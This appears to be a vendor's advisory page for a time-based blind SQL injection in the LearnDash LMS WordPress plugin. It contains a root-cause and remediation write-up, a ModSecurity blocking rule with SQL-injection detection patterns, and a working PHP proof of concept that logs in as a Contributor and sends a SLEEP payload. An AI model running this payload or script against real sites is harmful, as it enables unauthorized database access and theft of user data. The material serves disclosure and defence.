Atomic Edge analysis of CVE-2026-3079 (metadata-based):
This vulnerability is a blind time-based SQL injection in the LearnDash LMS WordPress plugin, affecting versions up to and including 5.0.3. The flaw resides in the ‘learndash_propanel_template’ AJAX action handler. Attackers with at least Contributor-level access can inject arbitrary SQL commands via the ‘filters[orderby_order]’ parameter, enabling data exfiltration from the database. The CVSS score of 6.5 (Medium) reflects its network accessibility, low attack complexity, and high confidentiality impact.
Atomic Edge research infers the root cause is improper neutralization of user input within an SQL command (CWE-89). The description states insufficient escaping and lack of query preparation. This suggests the plugin likely constructs an SQL query by directly concatenating the user-controlled ‘filters[orderby_order]’ parameter into an ORDER BY clause or a similar query fragment. The vulnerable code path is almost certainly within the function handling the ‘learndash_propanel_template’ AJAX action, where the parameter is received but not sanitized with `esc_sql()` or passed through `$wpdb->prepare()`.
Exploitation requires an authenticated user with Contributor privileges or higher. The attacker sends a POST request to the standard WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`, with the `action` parameter set to ‘learndash_propanel_template’. The attack payload is placed in the `filters[orderby_order]` parameter. A blind time-based injection payload would resemble `CASE WHEN (SELECT SLEEP(5) FROM wp_users LIMIT 1) THEN ‘id’ ELSE ‘date’ END`. This manipulates the query’s order logic and triggers a measurable delay, allowing an attacker to infer data from the database.
Effective remediation requires using prepared statements or proper escaping. The patched version 5.0.3.1 likely replaced the vulnerable raw concatenation with a call to `$wpdb->prepare()` for the dynamic ORDER BY fragment. Alternatively, the fix could involve rigorous allow-listing of the ‘orderby_order’ value against a set of permitted column names and directions (ASC/DESC). The plugin must also ensure proper capability checks are present, though the vulnerability description confirms they are insufficient.
The primary impact is unauthorized information disclosure. Successful exploitation allows an attacker to extract sensitive data from the WordPress database, including hashed user passwords, user emails, private course content, or other plugin-specific sensitive information. While the vulnerability is a blind injection, time-based techniques can systematically retrieve this data. The requirement for Contributor authentication limits the attack surface but does not eliminate risk, as many sites grant such roles to untrusted users.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3079 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20263079,phase:2,deny,status:403,chain,msg:'CVE-2026-3079: LearnDash LMS SQL Injection via learndash_propanel_template AJAX',severity:'CRITICAL',tag:'CVE-2026-3079',tag:'application:wordpress',tag:'plugin:learndash'"
SecRule ARGS_POST:action "@streq learndash_propanel_template" "chain"
SecRule ARGS_POST:filters.orderby_order "@rx (?i)(?:sleep(s*d+s*)|benchmarks*(|pg_sleep(|waitfors+delays+['"]d|b(?:union|select|insert|update|delete|drop|create|alter)b.*b(?:sleep|benchmark|pg_sleep|waitfor)b)"
"setvar:'tx.sql_injection_score=+1',t:none,t:urlDecodeUni,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3079 - LearnDash LMS <= 5.0.3 - Authenticated (Contributor+) SQL Injection via 'filters[orderby_order]' Parameter
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS - Contributor account username
$password = 'contributor_pass'; // CHANGE THIS - Contributor account password
// Step 1: Authenticate and obtain session cookies.
// This PoC assumes standard WordPress authentication via wp-login.php.
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_3079_');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
// Step 2: Craft the SQL injection payload for the 'learndash_propanel_template' AJAX action.
// This payload tests for a time delay. If the database user has sufficient privileges and the plugin is vulnerable,
// the request will take approximately 5 seconds.
$injection_payload = "CASE WHEN (SELECT SLEEP(5) FROM wp_users LIMIT 1) THEN 'id' ELSE 'date' END";
$post_data = [
'action' => 'learndash_propanel_template',
'filters[orderby_order]' => $injection_payload
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_POST => true,
]);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);
$request_duration = $end_time - $start_time;
// Step 3: Analyze the response time.
echo "Request duration: " . round($request_duration, 2) . " secondsn";
if ($request_duration >= 5) {
echo "Potential SQL Injection vulnerability detected (time-based blind).n";
} else {
echo "No significant delay observed. The site may be patched or the payload was blocked.n";
}
unlink($cookie_file);
?>
